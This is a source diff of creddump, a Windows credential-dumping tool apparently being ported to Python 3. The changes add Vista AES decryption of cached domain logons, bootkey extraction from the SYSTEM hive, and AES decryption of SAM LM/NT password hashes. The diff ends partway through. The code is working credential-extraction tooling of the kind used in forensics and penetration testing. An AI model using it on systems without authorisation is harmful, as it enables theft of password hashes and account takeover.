|
|
||||||
def getList(self):
|
def getList(self):
|
||||||
|
@ -283,19 +299,22 @@ class _CHILD_LIST(Obj):
|
||||||
lst.append(Pointer("pointer", list_address + (i * 4), self.space,
|
lst.append(Pointer("pointer", list_address + (i * 4), self.space,
|
||||||
["_CM_KEY_VALUE"]))
|
["_CM_KEY_VALUE"]))
|
||||||
return lst
|
return lst
|
||||||
|
|
||||||
List = property(fget=getList)
|
List = property(fget=getList)
|
||||||
|
|
||||||
|
|
||||||
class _CM_KEY_INDEX(Obj):
|
class _CM_KEY_INDEX(Obj):
|
||||||
def __new__(typ, *args, **kwargs):
|
def __new__(cls, *args, **kwargs):
|
||||||
obj = object.__new__(typ)
|
obj = object.__new__(cls)
|
||||||
return obj
|
return obj
|
||||||
|
|
||||||
def getList(self):
|
def getList(self):
|
||||||
lst = []
|
lst = []
|
||||||
for i in range(self.Count.value):
|
for i in range(self.Count.value):
|
||||||
# we are ignoring the hash value here
|
# we are ignoring the hash value here
|
||||||
off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2])
|
off, __ = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i * 2])
|
||||||
lst.append(Pointer("pointer", self.address + off, self.space,
|
lst.append(Pointer("pointer", self.address + off, self.space,
|
||||||
["_CM_KEY_NODE"]))
|
["_CM_KEY_NODE"]))
|
||||||
return lst
|
return lst
|
||||||
|
|
||||||
List = property(fget=getList)
|
List = property(fget=getList)
|
||||||
|
|
|
@ -16,6 +16,8 @@
|
||||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||||
#
|
#
|
||||||
|
|
||||||
|
# pylint: disable=invalid-name,missing-docstring
|
||||||
|
|
||||||
"""
|
"""
|
||||||
@author: AAron Walters and Nick Petroni
|
@author: AAron Walters and Nick Petroni
|
||||||
@license: GNU General Public License 2.0 or later
|
@license: GNU General Public License 2.0 or later
|
||||||
|
@ -25,40 +27,42 @@
|
||||||
|
|
||||||
import struct
|
import struct
|
||||||
|
|
||||||
builtin_types = { \
|
builtin_types = {
|
||||||
'int' : (4, 'i'), \
|
'int': (4, 'i'),
|
||||||
'long': (4, 'i'), \
|
'long': (4, 'i'),
|
||||||
'unsigned long' : (4, 'I'), \
|
'unsigned long': (4, 'I'),
|
||||||
'unsigned int' : (4, 'I'), \
|
'unsigned int': (4, 'I'),
|
||||||
'address' : (4, 'I'), \
|
'address': (4, 'I'),
|
||||||
'char' : (1, 'c'), \
|
'char': (1, 'c'),
|
||||||
'unsigned char' : (1, 'B'), \
|
'unsigned char': (1, 'B'),
|
||||||
'unsigned short' : (2, 'H'), \
|
'unsigned short': (2, 'H'),
|
||||||
'short' : (2, 'h'), \
|
'short': (2, 'h'),
|
||||||
'long long' : (8, 'q'), \
|
'long long': (8, 'q'),
|
||||||
'unsigned long long' : (8, 'Q'), \
|
'unsigned long long': (8, 'Q'),
|
||||||
'pointer' : (4, 'I'),\
|
'pointer': (4, 'I'),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
def obj_size(types, objname):
|
def obj_size(types, objname):
|
||||||
if not types.has_key(objname):
|
if objname not in types:
|
||||||
raise Exception('Invalid type %s not in types' % (objname))
|
raise Exception('Invalid type %s not in types' % (objname))
|
||||||
|
|
||||||
return types[objname][0]
|
return types[objname][0]
|
||||||
|
|
||||||
|
|
||||||
def builtin_size(builtin):
|
def builtin_size(builtin):
|
||||||
if not builtin_types.has_key(builtin):
|
if builtin not in builtin_types:
|
||||||
raise Exception('Invalid built-in type %s' % (builtin))
|
raise Exception('Invalid built-in type %s' % (builtin))
|
||||||
|
|
||||||
return builtin_types[builtin][0]
|
return builtin_types[builtin][0]
|
||||||
|
|
||||||
|
|
||||||
def read_value(addr_space, value_type, vaddr):
|
def read_value(addr_space, value_type, vaddr):
|
||||||
"""
|
"""
|
||||||
Read the low-level value for a built-in type.
|
Read the low-level value for a built-in type.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not builtin_types.has_key(value_type):
|
if value_type not in builtin_types:
|
||||||
raise Exception('Invalid built-in type %s' % (value_type))
|
raise Exception('Invalid built-in type %s' % (value_type))
|
||||||
|
|
||||||
type_unpack_char = builtin_types[value_type][1]
|
type_unpack_char = builtin_types[value_type][1]
|
||||||
|
@ -71,11 +75,11 @@ def read_value(addr_space, value_type, vaddr):
|
||||||
|
|
||||||
return val
|
return val
|
||||||
|
|
||||||
|
|
||||||
def read_unicode_string(addr_space, types, member_list, vaddr):
|
def read_unicode_string(addr_space, types, member_list, vaddr):
|
||||||
offset = 0
|
offset = 0
|
||||||
if len(member_list) > 1:
|
if len(member_list) > 1:
|
||||||
(offset, current_type) = get_obj_offset(types, member_list)
|
(offset, __) = get_obj_offset(types, member_list)
|
||||||
|
|
||||||
|
|
||||||
buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
|
buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset)
|
||||||
length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)
|
length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset)
|
||||||
|
@ -93,15 +97,16 @@ def read_unicode_string(addr_space, types, member_list, vaddr):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
readBuf = readBuf.decode('UTF-16').encode('ascii')
|
readBuf = readBuf.decode('UTF-16').encode('ascii')
|
||||||
except:
|
except Exception: # pylint: disable=broad-except
|
||||||
return None
|
return None
|
||||||
|
|
||||||
return readBuf
|
return readBuf
|
||||||
|
|
||||||
|
|
||||||
def read_string(addr_space, types, member_list, vaddr, max_length=256):
|
def read_string(addr_space, types, member_list, vaddr, max_length=256):
|
||||||
offset = 0
|
offset = 0
|
||||||
if len(member_list) > 1:
|
if len(member_list) > 1:
|
||||||
(offset, current_type) = get_obj_offset(types, member_list)
|
(offset, __) = get_obj_offset(types, member_list)
|
||||||
|
|
||||||
val = addr_space.read(vaddr + offset, max_length)
|
val = addr_space.read(vaddr + offset, max_length)
|
||||||
|
|
||||||
|
@ -114,10 +119,7 @@ def read_null_string(addr_space, types, member_list, vaddr, max_length=256):
|
||||||
if string is None:
|
if string is None:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
if (string.find('\0') == -1):
|
return string.split('\0', 1)[0]
|
||||||
return string
|
|
||||||
(string, none) = string.split('\0', 1)
|
|
||||||
return string
|
|
||||||
|
|
||||||
|
|
||||||
def get_obj_offset(types, member_list):
|
def get_obj_offset(types, member_list):
|
||||||
|
@ -130,7 +132,7 @@ def get_obj_offset(types, member_list):
|
||||||
|
|
||||||
offset = 0
|
offset = 0
|
||||||
|
|
||||||
while (len(member_list) > 0):
|
while member_list:
|
||||||
if current_type == 'array':
|
if current_type == 'array':
|
||||||
current_type = member_dict[current_member][1][2][0]
|
current_type = member_dict[current_member][1][2][0]
|
||||||
if current_type in builtin_types:
|
if current_type in builtin_types:
|
||||||
|
@ -141,13 +143,13 @@ def get_obj_offset(types, member_list):
|
||||||
offset += index * current_type_size
|
offset += index * current_type_size
|
||||||
continue
|
continue
|
||||||
|
|
||||||
elif not types.has_key(current_type):
|
elif current_type not in types:
|
||||||
raise Exception('Invalid type ' + current_type)
|
raise Exception('Invalid type ' + current_type)
|
||||||
|
|
||||||
member_dict = types[current_type][1]
|
member_dict = types[current_type][1]
|
||||||
|
|
||||||
current_member = member_list.pop()
|
current_member = member_list.pop()
|
||||||
if not member_dict.has_key(current_member):
|
if current_member not in member_dict:
|
||||||
raise Exception('Invalid member %s in type %s' % (current_member, current_type))
|
raise Exception('Invalid member %s in type %s' % (current_member, current_type))
|
||||||
|
|
||||||
offset += member_dict[current_member][0]
|
offset += member_dict[current_member][0]
|
||||||
|
@ -165,7 +167,5 @@ def read_obj(addr_space, types, member_list, vaddr):
|
||||||
if len(member_list) < 2:
|
if len(member_list) < 2:
|
||||||
raise Exception('Invalid type/member ' + str(member_list))
|
raise Exception('Invalid type/member ' + str(member_list))
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
(offset, current_type) = get_obj_offset(types, member_list)
|
(offset, current_type) = get_obj_offset(types, member_list)
|
||||||
return read_value(addr_space, current_type, vaddr + offset)
|
return read_value(addr_space, current_type, vaddr + offset)
|
||||||
|
|
|
@ -13,6 +13,8 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
# pylint: disable=invalid-name
|
||||||
|
|
||||||
"""
|
"""
|
||||||
@author: Brendan Dolan-Gavitt
|
@author: Brendan Dolan-Gavitt
|
||||||
@license: GNU General Public License 2.0 or later
|
@license: GNU General Public License 2.0 or later
|
||||||
|
|
|
@ -21,14 +21,14 @@
|
||||||
|
|
||||||
from framework.win32.rawreg import *
|
from framework.win32.rawreg import *
|
||||||
from framework.addrspace import HiveFileAddressSpace
|
from framework.addrspace import HiveFileAddressSpace
|
||||||
#from framework.win32.hashdump import get_bootkey
|
from framework.win32.hashdump import get_bootkey
|
||||||
from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key
|
from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key
|
||||||
from Crypto.Hash import HMAC
|
from Crypto.Hash import HMAC
|
||||||
from Crypto.Cipher import ARC4
|
from Crypto.Cipher import ARC4, AES
|
||||||
from struct import unpack
|
from struct import unpack
|
||||||
|
|
||||||
def get_nlkm(secaddr, lsakey):
|
def get_nlkm(secaddr, lsakey, vista):
|
||||||
return get_secret_by_name(secaddr, 'NL$KM', lsakey)
|
return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)
|
||||||
|
|
||||||
def decrypt_hash(edata, nlkm, ch):
|
def decrypt_hash(edata, nlkm, ch):
|
||||||
hmac_md5 = HMAC.new(nlkm,ch)
|
hmac_md5 = HMAC.new(nlkm,ch)
|
||||||
|
@ -38,6 +38,21 @@ def decrypt_hash(edata, nlkm, ch):
|
||||||
data = rc4.encrypt(edata)
|
data = rc4.encrypt(edata)
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
def decrypt_hash_vista(edata, nlkm, ch):
|
||||||
|
"""
|
||||||
|
Based on code from http://lab.mediaservice.net/code/cachedump.rb
|
||||||
|
"""
|
||||||
|
aes = AES.new(nlkm[16:32], AES.MODE_CBC, ch)
|
||||||
|
|
||||||
|
out = bytearray()
|
||||||
|
for i in range(0, len(edata), 16):
|
||||||
|
buf = edata[i : i+16]
|
||||||
|
if len(buf) < 16:
|
||||||
|
buf += (16 - len(buf)) * b"\00"
|
||||||
|
|
||||||
|
out += aes.decrypt(buf)
|
||||||
|
return out
|
||||||
|
|
||||||
def parse_cache_entry(cache_data):
|
def parse_cache_entry(cache_data):
|
||||||
(uname_len, domain_len) = unpack("<HH", cache_data[:4])
|
(uname_len, domain_len) = unpack("<HH", cache_data[:4])
|
||||||
(domain_name_len,) = unpack("<H", cache_data[60:62])
|
(domain_name_len,) = unpack("<H", cache_data[60:62])
|
||||||
|
@ -48,9 +63,9 @@ def parse_cache_entry(cache_data):
|
||||||
def parse_decrypted_cache(dec_data, uname_len,
|
def parse_decrypted_cache(dec_data, uname_len,
|
||||||
domain_len, domain_name_len):
|
domain_len, domain_name_len):
|
||||||
uname_off = 72
|
uname_off = 72
|
||||||
pad = 2 * ( ( uname_len / 2 ) % 2 )
|
pad = 2 * ( ( uname_len // 2 ) % 2 )
|
||||||
domain_off = uname_off + uname_len + pad
|
domain_off = uname_off + uname_len + pad
|
||||||
pad = 2 * ( ( domain_len / 2 ) % 2 )
|
pad = 2 * ( ( domain_len // 2 ) % 2 )
|
||||||
domain_name_off = domain_off + domain_len + pad
|
domain_name_off = domain_off + domain_len + pad
|
||||||
|
|
||||||
hash = dec_data[:0x10]
|
hash = dec_data[:0x10]
|
||||||
|
@ -63,16 +78,16 @@ def parse_decrypted_cache(dec_data, uname_len,
|
||||||
|
|
||||||
return (username, domain, domain_name, hash)
|
return (username, domain, domain_name, hash)
|
||||||
|
|
||||||
def dump_hashes(Key, secaddr):
|
def dump_hashes(sysaddr, secaddr, vista):
|
||||||
bootkey = Key
|
bootkey = get_bootkey(sysaddr)
|
||||||
if not bootkey:
|
if not bootkey:
|
||||||
return []
|
return []
|
||||||
|
|
||||||
lsakey = get_lsa_key(secaddr, bootkey)
|
lsakey = get_lsa_key(secaddr, bootkey, vista)
|
||||||
if not lsakey:
|
if not lsakey:
|
||||||
return []
|
return []
|
||||||
|
|
||||||
nlkm = get_nlkm(secaddr, lsakey)
|
nlkm = get_nlkm(secaddr, lsakey, vista)
|
||||||
if not nlkm:
|
if not nlkm:
|
||||||
return []
|
return []
|
||||||
|
|
||||||
|
@ -86,7 +101,7 @@ def dump_hashes(Key, secaddr):
|
||||||
|
|
||||||
hashes = []
|
hashes = []
|
||||||
for v in values(cache):
|
for v in values(cache):
|
||||||
if v.Name == "NL$Control": continue
|
if v.Name == b"NL$Control": continue
|
||||||
|
|
||||||
data = v.space.read(v.Data.value, v.DataLength.value)
|
data = v.space.read(v.Data.value, v.DataLength.value)
|
||||||
|
|
||||||
|
@ -97,8 +112,12 @@ def dump_hashes(Key, secaddr):
|
||||||
if uname_len == 0:
|
if uname_len == 0:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
if vista:
|
||||||
|
dec_data = decrypt_hash_vista(enc_data, nlkm, ch)
|
||||||
|
else:
|
||||||
dec_data = decrypt_hash(enc_data, nlkm, ch)
|
dec_data = decrypt_hash(enc_data, nlkm, ch)
|
||||||
|
|
||||||
|
|
||||||
(username, domain, domain_name,
|
(username, domain, domain_name,
|
||||||
hash) = parse_decrypted_cache(dec_data, uname_len,
|
hash) = parse_decrypted_cache(dec_data, uname_len,
|
||||||
domain_len, domain_name_len)
|
domain_len, domain_name_len)
|
||||||
|
@ -107,11 +126,10 @@ def dump_hashes(Key, secaddr):
|
||||||
|
|
||||||
return hashes
|
return hashes
|
||||||
|
|
||||||
def dump_file_hashes(Key, sechive_fname):
|
def dump_file_hashes(syshive_fname, sechive_fname, vista):
|
||||||
sysaddr = Key
|
sysaddr = HiveFileAddressSpace(syshive_fname)
|
||||||
secaddr = HiveFileAddressSpace(sechive_fname)
|
secaddr = HiveFileAddressSpace(sechive_fname)
|
||||||
|
|
||||||
for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr):
|
for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):
|
||||||
print "%s:%s:%s:%s" % (u.lower(), hash.encode('hex'),
|
print("%s:%s:%s:%s" % (u.lower(), hash.hex(),
|
||||||
d.lower(), dn.lower())
|
d.lower(), dn.lower()))
|
||||||
|
|
||||||
|
|
|
@ -13,20 +13,22 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
# pylint: disable=invalid-name,missing-docstring
|
||||||
|
|
||||||
"""
|
"""
|
||||||
@author: Brendan Dolan-Gavitt
|
@author: Brendan Dolan-Gavitt
|
||||||
@license: GNU General Public License 2.0 or later
|
@license: GNU General Public License 2.0 or later
|
||||||
@contact: bdolangavitt@wesleyan.edu
|
@contact: bdolangavitt@wesleyan.edu
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from framework.win32.rawreg import *
|
|
||||||
from framework.addrspace import HiveFileAddressSpace
|
|
||||||
try:
|
|
||||||
from Crypto.Hash import MD5
|
|
||||||
from Crypto.Cipher import ARC4,DES
|
|
||||||
except ImportError:
|
|
||||||
pass
|
|
||||||
from struct import unpack, pack
|
from struct import unpack, pack
|
||||||
|
import binascii
|
||||||
|
|
||||||
|
from Crypto.Hash import MD5
|
||||||
|
from Crypto.Cipher import ARC4, DES, AES
|
||||||
|
|
||||||
|
from framework.win32.rawreg import get_root, open_key, values, subkeys
|
||||||
|
from framework.addrspace import HiveFileAddressSpace
|
||||||
|
|
||||||
odd_parity = [
|
odd_parity = [
|
||||||
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
||||||
|
@ -52,43 +54,48 @@ p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
|
||||||
0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]
|
0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]
|
||||||
|
|
||||||
# Constants for SAM decrypt algorithm
|
# Constants for SAM decrypt algorithm
|
||||||
aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
|
aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
|
||||||
anum = "0123456789012345678901234567890123456789\0"
|
anum = b"0123456789012345678901234567890123456789\0"
|
||||||
antpassword = "NTPASSWORD\0"
|
antpassword = b"NTPASSWORD\0"
|
||||||
almpassword = "LMPASSWORD\0"
|
almpassword = b"LMPASSWORD\0"
|
||||||
|
|
||||||
|
empty_lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
|
||||||
|
empty_nt = binascii.unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")
|
||||||
|
|
||||||
empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex')
|
|
||||||
empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex')
|
|
||||||
|
|
||||||
def str_to_key(s):
|
def str_to_key(s):
|
||||||
key = []
|
key = bytearray()
|
||||||
key.append( ord(s[0])>>1 )
|
key.append(s[0] >> 1)
|
||||||
key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) )
|
key.append(((s[0] & 0x01) << 6) | ((s[1]) >> 2))
|
||||||
key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) )
|
key.append(((s[1] & 0x03) << 5) | ((s[2]) >> 3))
|
||||||
key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) )
|
key.append(((s[2] & 0x07) << 4) | ((s[3]) >> 4))
|
||||||
key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) )
|
key.append(((s[3] & 0x0F) << 3) | ((s[4]) >> 5))
|
||||||
key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) )
|
key.append(((s[4] & 0x1F) << 2) | ((s[5]) >> 6))
|
||||||
key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) )
|
key.append(((s[5] & 0x3F) << 1) | ((s[6]) >> 7))
|
||||||
key.append( ord(s[6])&0x7F )
|
key.append(s[6] & 0x7F)
|
||||||
for i in range(8):
|
for i in range(8):
|
||||||
key[i] = (key[i] << 1)
|
key[i] = (key[i] << 1)
|
||||||
key[i] = odd_parity[key[i]]
|
key[i] = odd_parity[key[i]]
|
||||||
return "".join(chr(k) for k in key)
|
return key
|
||||||
|
|
||||||
|
|
||||||
def sid_to_key(sid):
|
def sid_to_key(sid):
|
||||||
s1 = ""
|
s1 = bytearray()
|
||||||
s1 += chr(sid & 0xFF)
|
s1.append(sid & 0xFF)
|
||||||
s1 += chr((sid>>8) & 0xFF)
|
s1.append((sid >> 8) & 0xFF)
|
||||||
s1 += chr((sid>>16) & 0xFF)
|
s1.append((sid >> 16) & 0xFF)
|
||||||
s1 += chr((sid>>24) & 0xFF)
|
s1.append((sid >> 24) & 0xFF)
|
||||||
s1 += s1[0];
|
s1.append(s1[0])
|
||||||
s1 += s1[1];
|
s1.append(s1[1])
|
||||||
s1 += s1[2];
|
s1.append(s1[2])
|
||||||
s2 = s1[3] + s1[0] + s1[1] + s1[2]
|
s2 = bytearray([s1[3], s1[0], s1[1], s1[2]])
|
||||||
s2 += s2[0] + s2[1] + s2[2]
|
s2.append(s2[0])
|
||||||
|
s2.append(s2[1])
|
||||||
|
s2.append(s2[2])
|
||||||
|
|
||||||
return str_to_key(s1), str_to_key(s2)
|
return str_to_key(s1), str_to_key(s2)
|
||||||
|
|
||||||
|
|
||||||
def find_control_set(sysaddr):
|
def find_control_set(sysaddr):
|
||||||
root = get_root(sysaddr)
|
root = get_root(sysaddr)
|
||||||
if not root:
|
if not root:
|
||||||
|
@ -99,23 +106,62 @@ def find_control_set(sysaddr):
|
||||||
return 1
|
return 1
|
||||||
|
|
||||||
for v in values(csselect):
|
for v in values(csselect):
|
||||||
if v.Name == "Current": return v.Data.value
|
if v.Name == b"Current":
|
||||||
|
return v.Data.value
|
||||||
|
|
||||||
|
return 1
|
||||||
|
|
||||||
|
|
||||||
|
def get_bootkey(sysaddr):
|
||||||
|
cs = find_control_set(sysaddr)
|
||||||
|
lsa_base = ["ControlSet%03d" % cs, "Control", "Lsa"]
|
||||||
|
lsa_keys = ["JD", "Skew1", "GBG", "Data"]
|
||||||
|
|
||||||
|
root = get_root(sysaddr)
|
||||||
|
if not root:
|
||||||
|
return None
|
||||||
|
|
||||||
|
lsa = open_key(root, lsa_base)
|
||||||
|
if not lsa:
|
||||||
|
return None
|
||||||
|
|
||||||
|
bootkey = []
|
||||||
|
|
||||||
|
for lk in lsa_keys:
|
||||||
|
key = open_key(lsa, [lk])
|
||||||
|
class_data = sysaddr.read(key.Class.value, key.ClassLength.value)
|
||||||
|
hex_string = class_data.decode('utf-16-le')
|
||||||
|
hex_data = binascii.unhexlify(hex_string)
|
||||||
|
for h in hex_data:
|
||||||
|
bootkey.append(h)
|
||||||
|
|
||||||
|
bootkey_scrambled = []
|
||||||
|
for i in range(len(bootkey)):
|
||||||
|
bootkey_scrambled.append(bootkey[p[i]])
|
||||||
|
|
||||||
|
return bytes(bootkey_scrambled)
|
||||||
|
|
||||||
|
|
||||||
def get_hbootkey(samaddr, bootkey):
|
def get_hbootkey(samaddr, bootkey):
|
||||||
sam_account_path = ["SAM", "Domains", "Account"]
|
sam_account_path = ["SAM", "Domains", "Account"]
|
||||||
|
|
||||||
root = get_root(samaddr)
|
root = get_root(samaddr)
|
||||||
if not root: return None
|
if not root:
|
||||||
|
return None
|
||||||
|
|
||||||
sam_account_key = open_key(root, sam_account_path)
|
sam_account_key = open_key(root, sam_account_path)
|
||||||
if not sam_account_key: return None
|
if not sam_account_key:
|
||||||
|
return None
|
||||||
|
|
||||||
F = None
|
F = None
|
||||||
for v in values(sam_account_key):
|
for v in values(sam_account_key):
|
||||||
if v.Name == 'F':
|
if v.Name == b'F':
|
||||||
F = samaddr.read(v.Data.value, v.DataLength.value)
|
F = samaddr.read(v.Data.value, v.DataLength.value)
|
||||||
if not F: return None
|
if not F:
|
||||||
|
return None
|
||||||
|
|
||||||
|
revision = F[0x00]
|
||||||
|
if revision == 2:
|
||||||
md5 = MD5.new()
|
md5 = MD5.new()
|
||||||
md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
|
md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
|
||||||
rc4_key = md5.digest()
|
rc4_key = md5.digest()
|
||||||
|
@ -125,72 +171,115 @@ def get_hbootkey(samaddr, bootkey):
|
||||||
|
|
||||||
return hbootkey
|
return hbootkey
|
||||||
|
|
||||||
|
if revision == 3:
|
||||||
|
iv = F[0x78:0x88]
|
||||||
|
encryptedHBootKey = F[0x88:0xA8]
|
||||||
|
cipher = AES.new(bootkey, AES.MODE_CBC, iv)
|
||||||
|
hbootkey = cipher.decrypt(encryptedHBootKey)
|
||||||
|
|
||||||
|
return hbootkey[:16]
|
||||||
|
|
||||||
|
print("Unknown revision: %d" % revision)
|
||||||
|
return None
|
||||||
|
|
||||||
def get_user_keys(samaddr):
|
def get_user_keys(samaddr):
|
||||||
user_key_path = ["SAM", "Domains", "Account", "Users"]
|
user_key_path = ["SAM", "Domains", "Account", "Users"]
|
||||||
|
|
||||||
root = get_root(samaddr)
|
root = get_root(samaddr)
|
||||||
if not root: return []
|
if not root:
|
||||||
|
return []
|
||||||
|
|
||||||
user_key = open_key(root, user_key_path)
|
user_key = open_key(root, user_key_path)
|
||||||
if not user_key: return []
|
if not user_key:
|
||||||
|
return []
|
||||||
|
|
||||||
|
return [k for k in subkeys(user_key) if k.Name != b"Names"]
|
||||||
|
|
||||||
return [k for k in subkeys(user_key) if k.Name != "Names"]
|
|
||||||
|
|
||||||
def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
|
def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
|
||||||
|
if enc_hash == "":
|
||||||
|
return ""
|
||||||
(des_k1, des_k2) = sid_to_key(rid)
|
(des_k1, des_k2) = sid_to_key(rid)
|
||||||
d1 = DES.new(des_k1, DES.MODE_ECB)
|
d1 = DES.new(des_k1, DES.MODE_ECB)
|
||||||
d2 = DES.new(des_k2, DES.MODE_ECB)
|
d2 = DES.new(des_k2, DES.MODE_ECB)
|
||||||
|
|
||||||
md5 = MD5.new()
|
md5 = MD5.new()
|
||||||
md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr)
|
md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr)
|
||||||
rc4_key = md5.digest()
|
rc4_key = md5.digest()
|
||||||
rc4 = ARC4.new(rc4_key)
|
rc4 = ARC4.new(rc4_key)
|
||||||
obfkey = rc4.encrypt(enc_hash)
|
obfkey = rc4.encrypt(enc_hash)
|
||||||
hash = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
|
return d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
|
||||||
|
|
||||||
return hash
|
|
||||||
|
|
||||||
def decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey):
|
def decrypt_single_salted_hash(rid, hbootkey, enc_hash, salt):
|
||||||
# LM Hash
|
if enc_hash == "":
|
||||||
if enc_lm_hash:
|
return ""
|
||||||
|
(des_k1, des_k2) = sid_to_key(rid)
|
||||||
|
d1 = DES.new(des_k1, DES.MODE_ECB)
|
||||||
|
d2 = DES.new(des_k2, DES.MODE_ECB)
|
||||||
|
cipher = AES.new(hbootkey[:16], AES.MODE_CBC, salt)
|
||||||
|
obfkey = cipher.decrypt(enc_hash)
|
||||||
|
return d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])
|
||||||
|
|
||||||
|
|
||||||
|
def get_user_hashes(user_key, hbootkey):
|
||||||
|
# pylint: disable=too-many-locals
|
||||||
|
samaddr = user_key.space
|
||||||
|
try:
|
||||||
|
rid = int(user_key.Name.decode(), 16)
|
||||||
|
except ValueError:
|
||||||
|
print("Could not decode rid from key name %s" % (user_key.Name.decode()))
|
||||||
|
return None, None
|
||||||
|
V = None
|
||||||
|
for v in values(user_key):
|
||||||
|
if v.Name == b'V':
|
||||||
|
V = samaddr.read(v.Data.value, v.DataLength.value)
|
||||||
|
if not V:
|
||||||
|
return None, None
|
||||||
|
hash_offset = unpack("<L", V[0xa8:0xa8 + 4])[0] + 0xCC
|
||||||
|
|
||||||
|
lm_offset_bytes = V[0x9c:0x9c + 4]
|
||||||
|
nt_offset_bytes = V[0x9c + 12:0x9c + 16]
|
||||||
|
lm_offset = unpack("<L", lm_offset_bytes)[0] + 204
|
||||||
|
nt_offset = unpack("<L", nt_offset_bytes)[0] + 204
|
||||||
|
|
||||||
|
lmhash = None
|
||||||
|
nthash = None
|
||||||
|
|
||||||
|
lm_revision_bytes = V[lm_offset + 2:lm_offset + 3]
|
||||||
|
lm_revision = unpack('<B', lm_revision_bytes)[0]
|
||||||
|
if lm_revision == 1:
|
||||||
|
lm_exists = unpack("<L", V[0x9c + 4:0x9c + 8])[0] == 20
|
||||||
|
enc_lm_hash = V[hash_offset + 4:hash_offset + 20] if lm_exists else ""
|
||||||
lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
|
lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
|
||||||
else:
|
elif lm_revision == 2:
|
||||||
lmhash = ""
|
lm_exists = unpack("<L", V[0x9c + 4:0x9c + 8])[0] == 56
|
||||||
|
lm_salt = V[hash_offset + 4:hash_offset + 20] if lm_exists else ""
|
||||||
|
enc_lm_hash = V[hash_offset + 20:hash_offset + 52] if lm_exists else ""
|
||||||
|
lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, lm_salt)
|
||||||
|
|
||||||
# NT Hash
|
nt_revision_bytes = V[nt_offset + 2:nt_offset + 3]
|
||||||
if enc_nt_hash:
|
nt_revision = unpack('<B', nt_revision_bytes)[0]
|
||||||
|
if nt_revision == 1:
|
||||||
|
nt_exists = unpack("<L", V[0x9c + 16:0x9c + 20])[0] == 20
|
||||||
|
enc_nt_hash = V[nt_offset + 4:nt_offset + 20] if nt_exists else ""
|
||||||
nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
|
nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
|
||||||
else:
|
elif nt_revision == 2:
|
||||||
nthash = ""
|
nt_exists = unpack("<L", V[0x9c + 16:0x9c + 20])[0] == 56
|
||||||
|
nt_salt = V[nt_offset + 8:nt_offset + 24] if nt_exists else ""
|
||||||
|
enc_nt_hash = V[nt_offset + 24:nt_offset + 56] if nt_exists else ""
|
||||||
|
nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, nt_salt)
|
||||||
|
|
||||||
return lmhash, nthash
|
return lmhash, nthash
|
||||||
|
|
||||||
def get_user_hashes(user_key, hbootkey):
|
|
||||||
